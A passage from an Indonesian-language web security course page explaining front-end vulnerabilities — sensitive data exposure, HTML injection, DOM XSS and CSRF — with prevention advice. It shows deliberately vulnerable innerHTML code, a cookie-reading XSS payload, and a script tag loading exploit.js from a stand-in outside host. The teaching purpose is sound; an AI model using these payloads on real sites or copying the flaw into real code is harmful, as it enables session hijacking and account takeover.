Front-End Vulnerability Examples

Contoh kerentanan di front-end

A. Sensitive Data Exposure (Paparan Data Sensitif)

Semua komponen front end yang telah dibahas sebelumnya berjalan di sisi pengguna (client-side). Jadi, meskipun serangan terhadap komponen ini biasanya tidak merusak sistem back end secara langsung, kerentanannya bisa dimanfaatkan untuk menyerang pengguna, terutama jika yang diserang adalah akun admin. Dampaknya bisa sangat serius: akses tanpa izin, pencurian data, atau gangguan layanan.

Walaupun sebagian besar pengujian keamanan web fokus ke komponen back end, komponen front end juga harus diuji karena kadang justru menjadi celah awal untuk masuk ke fungsi sensitif (seperti panel admin) yang akhirnya memungkinkan penyerang menguasai seluruh server.

Apa Itu Sensitive Data Exposure?

Sensitive Data Exposure adalah ketika data sensitif tersedia dalam bentuk teks biasa dan bisa diakses oleh pengguna akhir. Umumnya ini ditemukan di kode sumber halaman web (HTML) pada sisi front end, bukan kode back end di server.

Kamu bisa melihat kode sumber halaman dengan:

Klik kanan → View Page Source
Atau tekan Ctrl + U
Atau lewat proxy seperti Burp Suite

Contoh: buka https://www.google.com, klik kanan → View Page Source → browser akan membuka tab baru dengan URL view-source:https://www.google.com. Di situ kamu bisa melihat elemen HTML, JavaScript, dan berbagai link eksternal.

Contoh Kasus

Tampilan form login seperti biasa:

Namun saat kita buka kode sumbernya:

<form action="action_page.php" method="post">

    <div class="container">
        <label for="uname"><b>Username</b></label>
        <input type="text" required>

        <label for="psw"><b>Password</b></label>
        <input type="password" required>

        <!-- TODO: remove test credentials test:test -->

        <button type="submit">Login</button>
    </div>
</form>

Ada komentar developer yang belum dihapus:

<!-- TODO: remove test credentials test:test -->

Komentar ini bisa saja berisi credential uji coba yang masih aktif. Meski jarang menemukan username/password seperti ini, kita bisa saja menemukan:

Link ke direktori rahasia
File konfigurasi atau log
Parameter debugging
Fungsi tersembunyi
API keys, token, hash, dan lain-lain

Informasi semacam ini bisa dimanfaatkan untuk akses lebih dalam ke aplikasi, bahkan ke back end seperti webserver atau database.

Pencegahan

Beberapa langkah pencegahan Sensitive Data Exposure:

Hapus komentar, debug code, dan kredensial uji coba dari kode sebelum aplikasi dipublikasikan.
Kaji ulang seluruh source code yang bisa dilihat pengguna (HTML, JS, dll).
Klasifikasikan jenis data apa yang boleh dan tidak boleh tampil di sisi pengguna.
Gunakan obfuscation (pengacakan kode JavaScript) atau teknik packing untuk menyulitkan pembacaan otomatis oleh attacker.
Gunakan tools automated scanning untuk mendeteksi informasi sensitif di page source.
Terapkan prinsip “least privilege” — hanya tampilkan informasi minimal yang diperlukan untuk fungsi aplikasi berjalan.

B. HTML Injection

Salah satu aspek penting dari keamanan front end adalah validasi dan sanitasi input dari pengguna. Dalam banyak kasus, proses validasi/sanitasi ini dilakukan di sisi back end, tetapi terkadang input dari pengguna hanya diproses di front end dan tidak pernah mencapai server. Oleh karena itu, validasi input harus dilakukan di kedua sisi: front end dan back end.

HTML Injection terjadi saat input dari pengguna tidak disaring (unfiltered) dan langsung ditampilkan di halaman web. Misalnya:

Menampilkan komentar pengguna dari database tanpa filter
Menampilkan input pengguna langsung melalui JavaScript tanpa validasi

Jika pengguna bisa mengontrol bagaimana input-nya ditampilkan, mereka bisa menyisipkan kode HTML berbahaya. Contohnya:

Membuat form login palsu yang mengirimkan data ke server jahat
Menyisipkan iklan atau konten yang menyesatkan
Mengubah tampilan situs (deface)

Contoh Kasus

Berikut contoh sederhana: halaman HTML dengan tombol "Click to enter your name". Ketika tombol diklik, pengguna diminta mengisi nama, lalu nama ditampilkan di halaman.

Kode sumber halaman:

<!DOCTYPE html>
<html>
<body>

  <button onclick="inputFunction()">Click to enter your name</button>
  <p id="output"></p>

  <script>
    function inputFunction() {
      var input = prompt("Please enter your name", "");

      if (input != null) {
        document.getElementById("output").innerHTML = "Your name is " + input;
      }
    }
  </script>

</body>
</html>

Masalahnya: input langsung ditampilkan dengan innerHTML tanpa filter apapun. Ini adalah contoh klasik kerentanan HTML Injection, bahkan bisa dikembangkan menjadi XSS.

Pengujian HTML Injection

Untuk mengujinya, kita bisa isi nama dengan kode HTML seperti berikut:

<style> body { background-image: url('https://example.com/images/logo.svg'); } </style>

Setelah input dimasukkan, halaman langsung berubah dan logo HTB muncul sebagai background:

Catatan: Karena semua proses terjadi di sisi client (front end), saat halaman di-refresh, tampilannya kembali seperti semula.

Ringkasan Risiko

HTML Injection dapat menyebabkan:

Perubahan tampilan web (defacing)
Penipuan (phishing)
Penyisipan konten tidak sah (iklan, link berbahaya)
Membuka jalan ke serangan XSS atau pencurian session/cookie

C. Cross-Site Scripting (XSS)

XSS (Cross-Site Scripting) adalah serangan di mana penyerang menyisipkan kode JavaScript berbahaya ke dalam halaman web yang akan dijalankan di sisi pengguna (client-side). Mirip dengan HTML Injection, tetapi XSS lebih berbahaya karena melibatkan eksekusi kode aktif yang bisa mencuri data, mengambil alih sesi pengguna, atau menjalankan aksi berbahaya lainnya di browser korban.

Jika kita bisa menjalankan JavaScript di browser korban, kita bisa:

Mencuri cookie sesi login
Menampilkan form palsu untuk mencuri kredensial
Memanipulasi isi halaman
Mengarahkan pengguna ke situs berbahaya

Tiga Jenis XSS

Jenis

Penjelasan

Reflected XSS

Terjadi saat input pengguna langsung ditampilkan kembali di halaman (misalnya hasil pencarian, pesan error) tanpa disaring.

Stored XSS

Terjadi saat input berbahaya disimpan di database, lalu ditampilkan kembali ke pengguna lain (misalnya di komentar, postingan).

DOM-based XSS

Terjadi saat manipulasi langsung terjadi di sisi browser (DOM), tanpa interaksi dengan server. Contoh: manipulasi elemen HTML berdasarkan input URL.

Contoh DOM XSS

Kita ambil kasus sebelumnya: input dari pengguna ditampilkan langsung tanpa validasi. Jika kita masukkan kode berikut sebagai input:

#"><img src=/ onerror=alert(document.cookie)>

Hasilnya: muncul popup alert berisi cookie pengguna.

Penjelasan payload:

img adalah elemen gambar yang dimanipulasi agar gagal dimuat (src=/)
onerror=... digunakan untuk menjalankan JavaScript saat gambar gagal dimuat
alert(document.cookie) akan menampilkan cookie pengguna dalam popup

Jika halaman web tidak melakukan sanitasi input, maka input tersebut langsung diproses oleh browser sebagai bagian dari dokumen DOM dan JavaScript yang disisipkan akan dieksekusi.

Dampak Serangan XSS

Penyerang bisa:

Mencuri sesi login: misalnya dengan mengirim cookie ke server milik penyerang
Melakukan phishing: tampilkan form login palsu
Merusak tampilan atau mengarahkan pengguna ke situs lain
Melakukan aksi atas nama korban (jika korban sudah login)

XSS sering kali menjadi titik awal untuk serangan lanjutan.

##XSS adalah topik besar yang akan dibahas lebih dalam pada modul lanjutan, termasuk:

Cara eksploitasi tiap jenis XSS
Cara bypass filter dan WAF
Teknik stealing cookie dan session hijacking
Teknik mitigasi dan pencegahan

D. Cross-Site Request Forgery (CSRF)

CSRF (Cross-Site Request Forgery) adalah serangan yang memanfaatkan sesi login korban untuk melakukan aksi tertentu tanpa sepengetahuan pengguna, biasanya dengan menyisipkan permintaan berbahaya (request) yang dikirim secara otomatis oleh browser korban.

CSRF sering kali dikombinasikan dengan XSS atau kerentanan lain seperti manipulasi parameter HTTP untuk memaksa korban melakukan aksi yang sebenarnya hanya boleh dilakukan oleh pengguna yang sah.

Contoh Serangan CSRF

Misalnya:

Korban (admin atau user biasa) sedang login ke aplikasi.
Penyerang mengirim link atau komentar berisi payload JavaScript berbahaya.
Ketika korban membuka halaman itu, JavaScript dijalankan secara otomatis.
Script ini mengirim request ke aplikasi web menggunakan session aktif korban, misalnya untuk:
- Mengubah password korban ke milik penyerang
- Menambah user baru dengan hak admin
- Menghapus data, dll

Payload JavaScript bisa dimuat dari luar melalui file .js:

"><script src=//www.example.com/exploit.js></script>

File exploit.js bisa berisi script yang meniru proses ganti password, termasuk request ke API atau form backend. Artinya, penyerang harus memahami:

Alur API aplikasi
Format data yang dikirim saat ganti password
Nama endpoint dan parameter yang digunakan

Pencegahan CSRF (dan HTML Injection/XSS)

Untuk mencegah serangan seperti CSRF, XSS, dan HTML Injection, diperlukan kombinasi beberapa teknik validasi, sanitasi, dan kontrol sisi server dan browser.

Dua Langkah Utama:

Tipe

Penjelasan

Sanitasi (Sanitization)

Menghapus karakter spesial dan karakter tidak standar dari input pengguna sebelum ditampilkan/disimpan

Validasi (Validation)

Memastikan input sesuai format yang diharapkan (misalnya email valid, angka, URL, dsb)

Perlindungan Tambahan:

Sanitasi output
- Jangan langsung tampilkan input pengguna ke halaman tanpa dibersihkan.
- Gunakan textContent daripada innerHTML jika hanya menampilkan teks biasa.
Gunakan token anti-CSRF
- Tambahkan CSRF token unik pada setiap permintaan (form, API).
- Token ini harus divalidasi di sisi server.
Atur SameSite pada cookie
- Gunakan atribut SameSite=Strict atau SameSite=Lax pada cookie autentikasi.
- Ini mencegah browser mengirim cookie pada permintaan lintas situs.
Verifikasi manual pada aksi sensitif
- Misalnya, minta pengguna memasukkan ulang password sebelum ganti password atau email.
Gunakan Web Application Firewall (WAF)
- WAF bisa mendeteksi dan memblokir pola serangan tertentu.
- Tapi jangan hanya mengandalkan WAF—tetap lakukan validasi di kode.
Gunakan fitur keamanan browser modern
- Browser masa kini sudah memblokir eksekusi JavaScript berbahaya secara otomatis.
- Tapi tetap bisa ditembus jika sanitasi input/output tidak benar.

Kesimpulan

CSRF sangat berbahaya jika pengguna masih login saat payload dijalankan.
Kombinasi validasi, sanitasi, token CSRF, dan SameSite cookie menjadi langkah penting.
Jangan andalkan hanya satu lapisan perlindungan. Keamanan aplikasi harus dibangun dari desain awal.

Referensi penting:

OWASP CSRF Prevention Cheat Sheet

PreviousFront-End Components NextBack-End Components

Last updated 1 month ago